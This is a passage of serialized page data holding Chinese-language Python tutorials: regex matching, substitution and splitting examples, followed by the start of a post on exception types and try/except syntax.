输出匹配结果\n",{"type":18,"tag":297,"props":86097,"children":86098},{"class":299,"line":817},[86099],{"type":18,"tag":297,"props":86100,"children":86101},{},[86102],{"type":24,"value":85785},{"type":18,"tag":297,"props":86104,"children":86105},{"class":299,"line":826},[86106],{"type":18,"tag":297,"props":86107,"children":86108},{},[86109],{"type":24,"value":86087},{"type":18,"tag":297,"props":86111,"children":86112},{"class":299,"line":4524},[86113],{"type":18,"tag":297,"props":86114,"children":86115},{},[86116],{"type":24,"value":86095},{"type":18,"tag":34,"props":86118,"children":86119},{},[86120],{"type":24,"value":82736},{"type":18,"tag":287,"props":86122,"children":86124},{"code":86123},"\u003C_sre.SRE_Match object; span=(0, 7), match='MR_SHOP'>\n\u003C_sre.SRE_Match object; span=(4, 11), match='MR_SHOP'>\n",[86125],{"type":18,"tag":74,"props":86126,"children":86127},{"__ignoreMap":8},[86128],{"type":24,"value":86123},{"type":18,"tag":34,"props":86130,"children":86131},{},[86132],{"type":24,"value":86133},"从上面的运行结果中可以看出，search()方法不仅仅是在字符串的起始位置搜索，其他位置有符合的匹配也可以进行搜索。",{"type":18,"tag":27,"props":86135,"children":86137},{"id":86136},"使用findall方法进行匹配",[86138],{"type":24,"value":86139},"使用findall()方法进行匹配",{"type":18,"tag":34,"props":86141,"children":86142},{},[86143,86148,86149,86154,86156,86161,86163,86168],{"type":18,"tag":74,"props":86144,"children":86146},{"className":86145},[],[86147],{"type":24,"value":85494},{"type":24,"value":85983},{"type":18,"tag":105,"props":86150,"children":86151},{},[86152],{"type":24,"value":86153},"在整个字符串中搜索所有符合正则表达式的字符串",{"type":24,"value":86155},"，并",{"type":18,"tag":105,"props":86157,"children":86158},{},[86159],{"type":24,"value":86160},"以列表的形式返回",{"type":24,"value":86162},"。如果匹配成功，则返回包含匹配结构的列表，否则返回空列表。",{"type":18,"tag":74,"props":86164,"children":86166},{"className":86165},[],[86167],{"type":24,"value":85494},{"type":24,"value":83930},{"type":18,"tag":287,"props":86170,"children":86172},{"code":86171,"language":28712,"meta":8,"className":28710,"style":8},"re.findall(pattern, string, [flags])\n",[86173],{"type":18,"tag":74,"props":86174,"children":86175},{"__ignoreMap":8},[86176],{"type":18,"tag":297,"props":86177,"children":86178},{"class":299,"line":300},[86179],{"type":18,"tag":297,"props":86180,"children":86181},{},[86182],{"type":24,"value":86171},{"type":18,"tag":34,"props":86184,"children":86185},{},[86186],{"type":24,"value":75828},{"type":18,"tag":210,"props":86188,"children":86189},{},[86190,86199,86208],{"type":18,"tag":158,"props":86191,"children":86192},{},[86193,86198],{"type":18,"tag":74,"props":86194,"children":86196},{"className":86195},[],[86197],{"type":24,"value":85611},{"type":24,"value":85613},{"type":18,"tag":158,"props":86200,"children":86201},{},[86202,86207],{"type":18,"tag":74,"props":86203,"children":86205},{"className":86204},[],[86206],{"type":24,"value":16841},{"type":24,"value":85623},{"type":18,"tag":158,"props":86209,"children":86210},{},[86211,86216],{"type":18,"tag":74,"props":86212,"children":86214},{"className":86213},[],[86215],{"type":24,"value":85632},{"type":24,"value":86045},{"type":18,"tag":34,"props":86218,"children":86219},{},[86220],{"type":24,"value":86221},"例如，搜索以“mr_”开头的字符串，代码如下：",{"type":18,"tag":287,"props":86223,"children":86225},{"code":86224,"language":28712,"meta":8,"className":28710,"style":8},"import re\npattern = r'mr_\\w+'                            # 模式字符串\nstring = 'MR_SHOP mr_shop'                    # 要匹配的字符串\nmatch = re.findall(pattern,string,re.I)      # 搜索字符串，不区分大小写\nprint(match)                                  # 输出匹配结果\nstring = '项目名称MR_SHOP mr_shop'\nmatch = re.findall(pattern,string)            # 搜索字符串，区分大小写\nprint(match)                                 # 输出匹配结果\n",[86226],{"type":18,"tag":74,"props":86227,"children":86228},{"__ignoreMap":8},[86229,86236,86244,86252,86260,86267,86274,86282],{"type":18,"tag":297,"props":86230,"children":86231},{"class":299,"line":300},[86232],{"type":18,"tag":297,"props":86233,"children":86234},{},[86235],{"type":24,"value":85517},{"type":18,"tag":297,"props":86237,"children":86238},{"class":299,"line":657},[86239],{"type":18,"tag":297,"props":86240,"children":86241},{},[86242],{"type":24,"value":86243},"pattern = r'mr_\\w+'                            # 模式字符串\n",{"type":18,"tag":297,"props":86245,"children":86246},{"class":299,"line":662},[86247],{"type":18,"tag":297,"props":86248,"children":86249},{},[86250],{"type":24,"value":86251},"string = 'MR_SHOP mr_shop'                    # 要匹配的字符串\n",{"type":18,"tag":297,"props":86253,"children":86254},{"class":299,"line":799},[86255],{"type":18,"tag":297,"props":86256,"children":86257},{},[86258],{"type":24,"value":86259},"match = re.findall(pattern,string,re.I)      # 搜索字符串，不区分大小写\n",{"type":18,"tag":297,"props":86261,"children":86262},{"class":299,"line":808},[86263],{"type":18,"tag":297,"props":86264,"children":86265},{},[86266],{"type":24,"value":85777},{"type":18,"tag":297,"props":86268,"children":86269},{"class":299,"line":817},[86270],{"type":18,"tag":297,"props":86271,"children":86272},{},[86273],{"type":24,"value":85785},{"type":18,"tag":297,"props":86275,"children":86276},{"class":299,"line":826},[86277],{"type":18,"tag":297,"props":86278,"children":86279},{},[86280],{"type":24,"value":86281},"match = re.findall(pattern,string)            # 搜索字符串，区分大小写\n",{"type":18,"tag":297,"props":86283,"children":86284},{"class":299,"line":4524},[86285],{"type":18,"tag":297,"props":86286,"children":86287},{},[86288],{"type":24,"value":86289},"print(match)                                 # 输出匹配结果\n",{"type":18,"tag":34,"props":86291,"children":86292},{},[86293],{"type":24,"value":82736},{"type":18,"tag":287,"props":86295,"children":86297},{"code":86296},"['MR_SHOP', 'mr_shop']\n['mr_shop']\n",[86298],{"type":18,"tag":74,"props":86299,"children":86300},{"__ignoreMap":8},[86301],{"type":24,"value":86296},{"type":18,"tag":34,"props":86303,"children":86304},{},[86305],{"type":24,"value":86306},"如果在指定的模式字符串中，包含分组，则返回与分组匹配的文本列表。例如，",{"type":18,"tag":287,"props":86308,"children":86310},{"code":86309,"language":28712,"meta":8,"className":28710,"style":8},"import re\npattern = r'[1-9]{1,3}(\\.[0-9]{1,3}){3}'     # 模式字符串\nstr1 = '127.0.0.1 192.168.1.66'               # 要配置的字符串\nmatch = re.findall(pattern,str1)              # 进行模式匹配\nprint(match)\n",[86311],{"type":18,"tag":74,"props":86312,"children":86313},{"__ignoreMap":8},[86314,86321,86329,86337,86345],{"type":18,"tag":297,"props":86315,"children":86316},{"class":299,"line":300},[86317],{"type":18,"tag":297,"props":86318,"children":86319},{},[86320],{"type":24,"value":85517},{"type":18,"tag":297,"props":86322,"children":86323},{"class":299,"line":657},[86324],{"type":18,"tag":297,"props":86325,"children":86326},{},[86327],{"type":24,"value":86328},"pattern = r'[1-9]{1,3}(\\.[0-9]{1,3}){3}'     # 模式字符串\n",{"type":18,"tag":297,"props":86330,"children":86331},{"class":299,"line":662},[86332],{"type":18,"tag":297,"props":86333,"children":86334},{},[86335],{"type":24,"value":86336},"str1 = '127.0.0.1 192.168.1.66'               # 要配置的字符串\n",{"type":18,"tag":297,"props":86338,"children":86339},{"class":299,"line":799},[86340],{"type":18,"tag":297,"props":86341,"children":86342},{},[86343],{"type":24,"value":86344},"match = re.findall(pattern,str1)              # 进行模式匹配\n",{"type":18,"tag":297,"props":86346,"children":86347},{"class":299,"line":808},[86348],{"type":18,"tag":297,"props":86349,"children":86350},{},[86351],{"type":24,"value":86352},"print(match)\n",{"type":18,"tag":34,"props":86354,"children":86355},{},[86356],{"type":24,"value":86357},"上面代码的执行结果如下：",{"type":18,"tag":287,"props":86359,"children":86361},{"code":86360},"['.1', '.66']\n",[86362],{"type":18,"tag":74,"props":86363,"children":86364},{"__ignoreMap":8},[86365],{"type":24,"value":86360},{"type":18,"tag":34,"props":86367,"children":86368},{},[86369,86371,86376],{"type":24,"value":86370},"从上面的结果中可以看出，并没有得到匹配的IP地址，这是因为在模式字符串中出现了分组，所以得到的结果是根据分组进行匹配的结果，即",{"type":18,"tag":74,"props":86372,"children":86374},{"className":86373},[],[86375],{"type":24,"value":85350},{"type":24,"value":86377},"匹配的结果。如果想获取整个模式字符串的匹配，可以将整个模式字符串使用一对小括号进行分组，然后在获取结果时，只取返回值列表的每个元素（是一个元组）的第1个元素。代码如下：",{"type":18,"tag":287,"props":86379,"children":86381},{"code":86380,"language":28712,"meta":8,"className":28710,"style":8},"import re\npattern = r'([1-9]{1,3}(\\.[0-9]{1,3}){3})'         # 模式字符串\nstr1 = '127.0.0.1 192.168.1.66'                    # 要配置的字符串\nmatch = re.findall(pattern,str1)                   # 进行模式匹配\nfor item in match:\n    print(item[0])\n",[86382],{"type":18,"tag":74,"props":86383,"children":86384},{"__ignoreMap":8},[86385,86392,86400,86408,86416,86424],{"type":18,"tag":297,"props":86386,"children":86387},{"class":299,"line":300},[86388],{"type":18,"tag":297,"props":86389,"children":86390},{},[86391],{"type":24,"value":85517},{"type":18,"tag":297,"props":86393,"children":86394},{"class":299,"line":657},[86395],{"type":18,"tag":297,"props":86396,"children":86397},{},[86398],{"type":24,"value":86399},"pattern = r'([1-9]{1,3}(\\.[0-9]{1,3}){3})'         # 模式字符串\n",{"type":18,"tag":297,"props":86401,"children":86402},{"class":299,"line":662},[86403],{"type":18,"tag":297,"props":86404,"children":86405},{},[86406],{"type":24,"value":86407},"str1 = '127.0.0.1 192.168.1.66'                    # 要配置的字符串\n",{"type":18,"tag":297,"props":86409,"children":86410},{"class":299,"line":799},[86411],{"type":18,"tag":297,"props":86412,"children":86413},{},[86414],{"type":24,"value":86415},"match = re.findall(pattern,str1)                   # 进行模式匹配\n",{"type":18,"tag":297,"props":86417,"children":86418},{"class":299,"line":808},[86419],{"type":18,"tag":297,"props":86420,"children":86421},{},[86422],{"type":24,"value":86423},"for item in match:\n",{"type":18,"tag":297,"props":86425,"children":86426},{"class":299,"line":817},[86427],{"type":18,"tag":297,"props":86428,"children":86429},{},[86430],{"type":24,"value":86431},"    print(item[0])\n",{"type":18,"tag":34,"props":86433,"children":86434},{},[86435],{"type":24,"value":82736},{"type":18,"tag":287,"props":86437,"children":86439},{"code":86438,"language":28712,"meta":8,"className":28710,"style":8},"127.0.0.1\n192.168.1.66\n",[86440],{"type":18,"tag":74,"props":86441,"children":86442},{"__ignoreMap":8},[86443,86451],{"type":18,"tag":297,"props":86444,"children":86445},{"class":299,"line":300},[86446],{"type":18,"tag":297,"props":86447,"children":86448},{},[86449],{"type":24,"value":86450},"127.0.0.1\n",{"type":18,"tag":297,"props":86452,"children":86453},{"class":299,"line":657},[86454],{"type":18,"tag":297,"props":86455,"children":86456},{},[86457],{"type":24,"value":86458},"192.168.1.66\n",{"type":18,"tag":19,"props":86460,"children":86462},{"id":86461},"替换字符串",[86463],{"type":24,"value":86461},{"type":18,"tag":34,"props":86465,"children":86466},{},[86467,86473,86474,86479],{"type":18,"tag":74,"props":86468,"children":86470},{"className":86469},[],[86471],{"type":24,"value":86472},"sub()",{"type":24,"value":85983},{"type":18,"tag":105,"props":86475,"children":86476},{},[86477],{"type":24,"value":86478},"实现字符串替换",{"type":24,"value":86480},"，语法格式如下：",{"type":18,"tag":287,"props":86482,"children":86484},{"code":86483,"language":28712,"meta":8,"className":28710,"style":8},"re.sub(pattern, repl, string, count, flags)\n",[86485],{"type":18,"tag":74,"props":86486,"children":86487},{"__ignoreMap":8},[86488],{"type":18,"tag":297,"props":86489,"children":86490},{"class":299,"line":300},[86491],{"type":18,"tag":297,"props":86492,"children":86493},{},[86494],{"type":24,"value":86483},{"type":18,"tag":34,"props":86496,"children":86497},{},[86498],{"type":24,"value":75828},{"type":18,"tag":210,"props":86500,"children":86501},{},[86502,86511,86522,86532,86543],{"type":18,"tag":158,"props":86503,"children":86504},{},[86505,86510],{"type":18,"tag":74,"props":86506,"children":86508},{"className":86507},[],[86509],{"type":24,"value":85611},{"type":24,"value":85613},{"type":18,"tag":158,"props":86512,"children":86513},{},[86514,86520],{"type":18,"tag":74,"props":86515,"children":86517},{"className":86516},[],[86518],{"type":24,"value":86519},"repl",{"type":24,"value":86521},"：表示替换的字符串。",{"type":18,"tag":158,"props":86523,"children":86524},{},[86525,86530],{"type":18,"tag":74,"props":86526,"children":86528},{"className":86527},[],[86529],{"type":24,"value":16841},{"type":24,"value":86531},"：表示要被查找替换的原始字符串。",{"type":18,"tag":158,"props":86533,"children":86534},{},[86535,86541],{"type":18,"tag":74,"props":86536,"children":86538},{"className":86537},[],[86539],{"type":24,"value":86540},"count",{"type":24,"value":86542},"：可选参数，表示模式匹配后替换的最大次数，默认值为0，表示替换所有的匹配。",{"type":18,"tag":158,"props":86544,"children":86545},{},[86546,86551],{"type":18,"tag":74,"props":86547,"children":86549},{"className":86548},[],[86550],{"type":24,"value":85632},{"type":24,"value":86045},{"type":18,"tag":34,"props":86553,"children":86554},{},[86555],{"type":24,"value":86556},"例如，隐藏中奖信息中的手机号码，代码如下：",{"type":18,"tag":287,"props":86558,"children":86560},{"code":86559,"language":28712,"meta":8,"className":28710,"style":8},"import re\npattern = r'1[34578]\\d{9}'                           # 定义要替换的模式字符串\nstring = '中奖号码为：84978981 联系电话为：13611111111'\nresult = re.sub(pattern,'1XXXXXXXXXX',string)      # 替换字符串\nprint(result)\n",[86561],{"type":18,"tag":74,"props":86562,"children":86563},{"__ignoreMap":8},[86564,86571,86579,86587,86595],{"type":18,"tag":297,"props":86565,"children":86566},{"class":299,"line":300},[86567],{"type":18,"tag":297,"props":86568,"children":86569},{},[86570],{"type":24,"value":85517},{"type":18,"tag":297,"props":86572,"children":86573},{"class":299,"line":657},[86574],{"type":18,"tag":297,"props":86575,"children":86576},{},[86577],{"type":24,"value":86578},"pattern = r'1[34578]\\d{9}'                           # 定义要替换的模式字符串\n",{"type":18,"tag":297,"props":86580,"children":86581},{"class":299,"line":662},[86582],{"type":18,"tag":297,"props":86583,"children":86584},{},[86585],{"type":24,"value":86586},"string = '中奖号码为：84978981 联系电话为：13611111111'\n",{"type":18,"tag":297,"props":86588,"children":86589},{"class":299,"line":799},[86590],{"type":18,"tag":297,"props":86591,"children":86592},{},[86593],{"type":24,"value":86594},"result = re.sub(pattern,'1XXXXXXXXXX',string)      # 替换字符串\n",{"type":18,"tag":297,"props":86596,"children":86597},{"class":299,"line":808},[86598],{"type":18,"tag":297,"props":86599,"children":86600},{},[86601],{"type":24,"value":28784},{"type":18,"tag":34,"props":86603,"children":86604},{},[86605],{"type":24,"value":82736},{"type":18,"tag":287,"props":86607,"children":86609},{"code":86608},"中奖号码为：84978981 联系电话为：1XXXXXXXXXX\n",[86610],{"type":18,"tag":74,"props":86611,"children":86612},{"__ignoreMap":8},[86613],{"type":24,"value":86608},{"type":18,"tag":19,"props":86615,"children":86617},{"id":86616},"分割字符串",[86618],{"type":24,"value":86616},{"type":18,"tag":34,"props":86620,"children":86621},{},[86622,86628,86629,86634,86635,86639,86641,86646,86648,86653],{"type":18,"tag":74,"props":86623,"children":86625},{"className":86624},[],[86626],{"type":24,"value":86627},"split()",{"type":24,"value":85983},{"type":18,"tag":105,"props":86630,"children":86631},{},[86632],{"type":24,"value":86633},"实现根据正则表达式分割字符串",{"type":24,"value":86155},{"type":18,"tag":105,"props":86636,"children":86637},{},[86638],{"type":24,"value":86160},{"type":24,"value":86640},"。其作用同字符串对象的",{"type":18,"tag":74,"props":86642,"children":86644},{"className":86643},[],[86645],{"type":24,"value":86627},{"type":24,"value":86647},"方法类似，所不同的就是分割字符由模式字符串指定。",{"type":18,"tag":74,"props":86649,"children":86651},{"className":86650},[],[86652],{"type":24,"value":86627},{"type":24,"value":83930},{"type":18,"tag":287,"props":86655,"children":86657},{"code":86656,"language":28712,"meta":8,"className":28710,"style":8},"re.split(pattern, string, [maxsplit], [flags])\n",[86658],{"type":18,"tag":74,"props":86659,"children":86660},{"__ignoreMap":8},[86661],{"type":18,"tag":297,"props":86662,"children":86663},{"class":299,"line":300},[86664],{"type":18,"tag":297,"props":86665,"children":86666},{},[86667],{"type":24,"value":86656},{"type":18,"tag":34,"props":86669,"children":86670},{},[86671],{"type":24,"value":75828},{"type":18,"tag":210,"props":86673,"children":86674},{},[86675,86684,86693,86704],{"type":18,"tag":158,"props":86676,"children":86677},{},[86678,86683],{"type":18,"tag":74,"props":86679,"children":86681},{"className":86680},[],[86682],{"type":24,"value":85611},{"type":24,"value":85613},{"type":18,"tag":158,"props":86685,"children":86686},{},[86687,86692],{"type":18,"tag":74,"props":86688,"children":86690},{"className":86689},[],[86691],{"type":24,"value":16841},{"type":24,"value":85623},{"type":18,"tag":158,"props":86694,"children":86695},{},[86696,86702],{"type":18,"tag":74,"props":86697,"children":86699},{"className":86698},[],[86700],{"type":24,"value":86701},"maxsplit",{"type":24,"value":86703},"：可选参数，表示最大的拆分次数。",{"type":18,"tag":158,"props":86705,"children":86706},{},[86707,86712],{"type":18,"tag":74,"props":86708,"children":86710},{"className":86709},[],[86711],{"type":24,"value":85632},{"type":24,"value":86045},{"type":18,"tag":34,"props":86714,"children":86715},{},[86716],{"type":24,"value":86717},"例如，从给定的URL地址中提取出请求地址和各个参数，代码如下：",{"type":18,"tag":287,"props":86719,"children":86721},{"code":86720,"language":28712,"meta":8,"className":28710,"style":8},"import re\npattern = r'[?|&]'                         # 定义分割符\nurl = 'http:\u002F\u002Fwww.mingrisoft.com\u002Flogin.jsp?username=\"mr\"&pwd=\"mrsoft\"'\nresult = re.split(pattern,url)              # 分割字符串\nprint(result)\n",[86722],{"type":18,"tag":74,"props":86723,"children":86724},{"__ignoreMap":8},[86725,86732,86740,86748,86756],{"type":18,"tag":297,"props":86726,"children":86727},{"class":299,"line":300},[86728],{"type":18,"tag":297,"props":86729,"children":86730},{},[86731],{"type":24,"value":85517},{"type":18,"tag":297,"props":86733,"children":86734},{"class":299,"line":657},[86735],{"type":18,"tag":297,"props":86736,"children":86737},{},[86738],{"type":24,"value":86739},"pattern = r'[?|&]'                         # 定义分割符\n",{"type":18,"tag":297,"props":86741,"children":86742},{"class":299,"line":662},[86743],{"type":18,"tag":297,"props":86744,"children":86745},{},[86746],{"type":24,"value":86747},"url = 'http:\u002F\u002Fwww.mingrisoft.com\u002Flogin.jsp?username=\"mr\"&pwd=\"mrsoft\"'\n",{"type":18,"tag":297,"props":86749,"children":86750},{"class":299,"line":799},[86751],{"type":18,"tag":297,"props":86752,"children":86753},{},[86754],{"type":24,"value":86755},"result = re.split(pattern,url)              # 分割字符串\n",{"type":18,"tag":297,"props":86757,"children":86758},{"class":299,"line":808},[86759],{"type":18,"tag":297,"props":86760,"children":86761},{},[86762],{"type":24,"value":28784},{"type":18,"tag":34,"props":86764,"children":86765},{},[86766],{"type":24,"value":82736},{"type":18,"tag":287,"props":86768,"children":86770},{"code":86769},"['http:\u002F\u002Fwww.mingrisoft.com\u002Flogin.jsp', 'username=\"mr\"', 'pwd=\"mrsoft\"']\n",[86771],{"type":18,"tag":74,"props":86772,"children":86773},{"__ignoreMap":8},[86774],{"type":24,"value":86769},{"type":18,"tag":651,"props":86776,"children":86777},{},[86778],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":86780},[86781,86792,86797,86798],{"id":84332,"depth":657,"text":84332,"children":86782},[86783,86784,86785,86786,86787,86788,86789,86790,86791],{"id":84379,"depth":662,"text":84379},{"id":84487,"depth":662,"text":84487},{"id":84804,"depth":662,"text":84804},{"id":85011,"depth":662,"text":85011},{"id":85095,"depth":662,"text":85095},{"id":85145,"depth":662,"text":85145},{"id":85187,"depth":662,"text":85187},{"id":85267,"depth":662,"text":85267},{"id":85355,"depth":662,"text":85358},{"id":85453,"depth":657,"text":85453,"children":86793},[86794,86795,86796],{"id":85568,"depth":662,"text":85571},{"id":85970,"depth":662,"text":85973},{"id":86136,"depth":662,"text":86139},{"id":86461,"depth":657,"text":86461},{"id":86616,"depth":657,"text":86616},"content:blog:2025-07-11-python-使用正则表达式.md","blog\u002F2025-07-11-python-使用正则表达式.md","blog\u002F2025-07-11-python-使用正则表达式",{"_path":86803,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":86804,"description":86805,"date":86806,"tags":86807,"body":86808,"_type":672,"_id":87716,"_source":674,"_file":87717,"_stem":87718,"_extension":677},"\u002Fblog\u002F2025-07-10-python","Python-异常处理及程序调试","Python异常处理与调试：try\u002Fexcept\u002Ffinally、自定义异常、logging与pdb调试。","2025-07-10",[28616,75509],{"type":15,"children":86809,"toc":87711},[86810,86813,86818,86823,86987,86992,87004,87052,87090,87134,87156,87167,87208,87219,87239,87290,87303,87315,87329,87361,87366,87372,87385,87393,87413,87421,87441,87449,87462,87470,87482,87490,87503,87508,87593,87629,87642,87661,87675,87707],{"type":18,"tag":121,"props":86811,"children":86812},{},[],{"type":18,"tag":27,"props":86814,"children":86816},{"id":86815},"异常概念",[86817],{"type":24,"value":86815},{"type":18,"tag":34,"props":86819,"children":86820},{},[86821],{"type":24,"value":86822},"在程序运行过程中，经常会遇到各种各样的错误，这些错误统称为“异常”。如下表是Python常见的异常与描述：",{"type":18,"tag":431,"props":86824,"children":86825},{},[86826,86841],{"type":18,"tag":435,"props":86827,"children":86828},{},[86829],{"type":18,"tag":439,"props":86830,"children":86831},{},[86832,86837],{"type":18,"tag":443,"props":86833,"children":86834},{"align":3465},[86835],{"type":24,"value":86836},"异常",{"type":18,"tag":443,"props":86838,"children":86839},{},[86840],{"type":24,"value":34780},{"type":18,"tag":459,"props":86842,"children":86843},{},[86844,86857,86870,86883,86896,86909,86922,86935,86948,86961,86974],{"type":18,"tag":439,"props":86845,"children":86846},{},[86847,86852],{"type":18,"tag":466,"props":86848,"children":86849},{"align":3465},[86850],{"type":24,"value":86851},"NameError",{"type":18,"tag":466,"props":86853,"children":86854},{},[86855],{"type":24,"value":86856},"尝试访问一个未声明的变量引发错误",{"type":18,"tag":439,"props":86858,"children":86859},{},[86860,86865],{"type":18,"tag":466,"props":86861,"children":86862},{"align":3465},[86863],{"type":24,"value":86864},"IndexError",{"type":18,"tag":466,"props":86866,"children":86867},{},[86868],{"type":24,"value":86869},"索引超出序列范围引发错误",{"type":18,"tag":439,"props":86871,"children":86872},{},[86873,86878],{"type":18,"tag":466,"props":86874,"children":86875},{"align":3465},[86876],{"type":24,"value":86877},"IndentationError",{"type":18,"tag":466,"props":86879,"children":86880},{},[86881],{"type":24,"value":86882},"缩进错误",{"type":18,"tag":439,"props":86884,"children":86885},{},[86886,86891],{"type":18,"tag":466,"props":86887,"children":86888},{"align":3465},[86889],{"type":24,"value":86890},"ValueError",{"type":18,"tag":466,"props":86892,"children":86893},{},[86894],{"type":24,"value":86895},"传入的值错误",{"type":18,"tag":439,"props":86897,"children":86898},{},[86899,86904],{"type":18,"tag":466,"props":86900,"children":86901},{"align":3465},[86902],{"type":24,"value":86903},"KeyError",{"type":18,"tag":466,"props":86905,"children":86906},{},[86907],{"type":24,"value":86908},"请求一个不存在的字典关键字引发的错误",{"type":18,"tag":439,"props":86910,"children":86911},{},[86912,86917],{"type":18,"tag":466,"props":86913,"children":86914},{"align":3465},[86915],{"type":24,"value":86916},"IOError",{"type":18,"tag":466,"props":86918,"children":86919},{},[86920],{"type":24,"value":86921},"输入输出错误（如要读取的文件不存在）",{"type":18,"tag":439,"props":86923,"children":86924},{},[86925,86930],{"type":18,"tag":466,"props":86926,"children":86927},{"align":3465},[86928],{"type":24,"value":86929},"ImportError",{"type":18,"tag":466,"props":86931,"children":86932},{},[86933],{"type":24,"value":86934},"当import语句无法找到模块引发的错误",{"type":18,"tag":439,"props":86936,"children":86937},{},[86938,86943],{"type":18,"tag":466,"props":86939,"children":86940},{"align":3465},[86941],{"type":24,"value":86942},"AttributeError",{"type":18,"tag":466,"props":86944,"children":86945},{},[86946],{"type":24,"value":86947},"当尝试访问位置的对象属性时，引发的错误",{"type":18,"tag":439,"props":86949,"children":86950},{},[86951,86956],{"type":18,"tag":466,"props":86952,"children":86953},{"align":3465},[86954],{"type":24,"value":86955},"TypeError",{"type":18,"tag":466,"props":86957,"children":86958},{},[86959],{"type":24,"value":86960},"类型不合适引发的错误",{"type":18,"tag":439,"props":86962,"children":86963},{},[86964,86969],{"type":18,"tag":466,"props":86965,"children":86966},{"align":3465},[86967],{"type":24,"value":86968},"MemoryError",{"type":18,"tag":466,"props":86970,"children":86971},{},[86972],{"type":24,"value":86973},"内存不足",{"type":18,"tag":439,"props":86975,"children":86976},{},[86977,86982],{"type":18,"tag":466,"props":86978,"children":86979},{"align":3465},[86980],{"type":24,"value":86981},"ZeroDivisionError",{"type":18,"tag":466,"props":86983,"children":86984},{},[86985],{"type":24,"value":86986},"当除数为0时引发的错误",{"type":18,"tag":27,"props":86988,"children":86990},{"id":86989},"异常处理语句",[86991],{"type":24,"value":86989},{"type":18,"tag":337,"props":86993,"children":86995},{"id":86994},"tryexcept-语句",[86996,87002],{"type":18,"tag":74,"props":86997,"children":86999},{"className":86998},[],[87000],{"type":24,"value":87001},"try...except",{"type":24,"value":87003}," 语句",{"type":18,"tag":34,"props":87005,"children":87006},{},[87007,87008,87013,87015,87021,87023,87029,87031,87036,87038,87043,87045,87050],{"type":24,"value":35582},{"type":18,"tag":74,"props":87009,"children":87011},{"className":87010},[],[87012],{"type":24,"value":87001},{"type":24,"value":87014},"语捕获并处理异常时，把可能产生异常的代码放在",{"type":18,"tag":74,"props":87016,"children":87018},{"className":87017},[],[87019],{"type":24,"value":87020},"try",{"type":24,"value":87022},"语句块中，把处理结果放在",{"type":18,"tag":74,"props":87024,"children":87026},{"className":87025},[],[87027],{"type":24,"value":87028},"except",{"type":24,"value":87030},"语句块中：若",{"type":18,"tag":74,"props":87032,"children":87034},{"className":87033},[],[87035],{"type":24,"value":87020},{"type":24,"value":87037},"执行时出现错误，将会执行",{"type":18,"tag":74,"props":87039,"children":87041},{"className":87040},[],[87042],{"type":24,"value":87028},{"type":24,"value":87044},"语句块，否则将不执行",{"type":18,"tag":74,"props":87046,"children":87048},{"className":87047},[],[87049],{"type":24,"value":87028},{"type":24,"value":87051},"语句块，语法结构如下：",{"type":18,"tag":287,"props":87053,"children":87055},{"className":28710,"code":87054,"language":28712,"meta":8,"style":8},"try:\n    block1\nexcept [ExceptionName [as alias]]:\n    block2\n",[87056],{"type":18,"tag":74,"props":87057,"children":87058},{"__ignoreMap":8},[87059,87066,87074,87082],{"type":18,"tag":297,"props":87060,"children":87061},{"class":299,"line":300},[87062],{"type":18,"tag":297,"props":87063,"children":87064},{},[87065],{"type":24,"value":84142},{"type":18,"tag":297,"props":87067,"children":87068},{"class":299,"line":657},[87069],{"type":18,"tag":297,"props":87070,"children":87071},{},[87072],{"type":24,"value":87073},"    block1\n",{"type":18,"tag":297,"props":87075,"children":87076},{"class":299,"line":662},[87077],{"type":18,"tag":297,"props":87078,"children":87079},{},[87080],{"type":24,"value":87081},"except [ExceptionName [as alias]]:\n",{"type":18,"tag":297,"props":87083,"children":87084},{"class":299,"line":799},[87085],{"type":18,"tag":297,"props":87086,"children":87087},{},[87088],{"type":24,"value":87089},"    block2\n",{"type":18,"tag":210,"props":87091,"children":87092},{},[87093,87104,87123],{"type":18,"tag":158,"props":87094,"children":87095},{},[87096,87102],{"type":18,"tag":74,"props":87097,"children":87099},{"className":87098},[],[87100],{"type":24,"value":87101},"block1",{"type":24,"value":87103},"：表示可能报错的代码块",{"type":18,"tag":158,"props":87105,"children":87106},{},[87107,87113,87115,87121],{"type":18,"tag":74,"props":87108,"children":87110},{"className":87109},[],[87111],{"type":24,"value":87112},"ExceptionName [as alias]",{"type":24,"value":87114},"：可选参数，用于指定要捕获的异常。",{"type":18,"tag":74,"props":87116,"children":87118},{"className":87117},[],[87119],{"type":24,"value":87120},"[as alias]",{"type":24,"value":87122},"表示为当前的异常指定一个别名，通过该别名，可以记录异常的具体内容",{"type":18,"tag":158,"props":87124,"children":87125},{},[87126,87132],{"type":18,"tag":74,"props":87127,"children":87129},{"className":87128},[],[87130],{"type":24,"value":87131},"block2",{"type":24,"value":87133},"：表示进行异常处理的代码块",{"type":18,"tag":96,"props":87135,"children":87136},{},[87137],{"type":18,"tag":34,"props":87138,"children":87139},{},[87140,87142,87147,87149,87154],{"type":24,"value":87141},"在捕捉异常时，如果需要同时处理多个异常，可以在",{"type":18,"tag":74,"props":87143,"children":87145},{"className":87144},[],[87146],{"type":24,"value":87028},{"type":24,"value":87148},"语句后面使用",{"type":18,"tag":74,"props":87150,"children":87152},{"className":87151},[],[87153],{"type":24,"value":79159},{"type":24,"value":87155},"将可能出现的异常括起来，间隔使用逗号分割。",{"type":18,"tag":337,"props":87157,"children":87159},{"id":87158},"tryexceptelse-语句",[87160,87166],{"type":18,"tag":74,"props":87161,"children":87163},{"className":87162},[],[87164],{"type":24,"value":87165},"try...except...else",{"type":24,"value":87003},{"type":18,"tag":34,"props":87168,"children":87169},{},[87170,87172,87177,87179,87185,87187,87192,87194,87199,87201,87206],{"type":24,"value":87171},"还有一种方式是在",{"type":18,"tag":74,"props":87173,"children":87175},{"className":87174},[],[87176],{"type":24,"value":87001},{"type":24,"value":87178},"的基础上加上",{"type":18,"tag":74,"props":87180,"children":87182},{"className":87181},[],[87183],{"type":24,"value":87184},"else",{"type":24,"value":87186},"子句，用于指定当",{"type":18,"tag":74,"props":87188,"children":87190},{"className":87189},[],[87191],{"type":24,"value":87020},{"type":24,"value":87193},"语句没有发现异常时要执行的语句。当在",{"type":18,"tag":74,"props":87195,"children":87197},{"className":87196},[],[87198],{"type":24,"value":87020},{"type":24,"value":87200},"语句执行过程中未发现异常，则执行",{"type":18,"tag":74,"props":87202,"children":87204},{"className":87203},[],[87205],{"type":24,"value":87184},{"type":24,"value":87207},"子句，否则将不执行。",{"type":18,"tag":337,"props":87209,"children":87211},{"id":87210},"tryexceptfinally-语句",[87212,87218],{"type":18,"tag":74,"props":87213,"children":87215},{"cla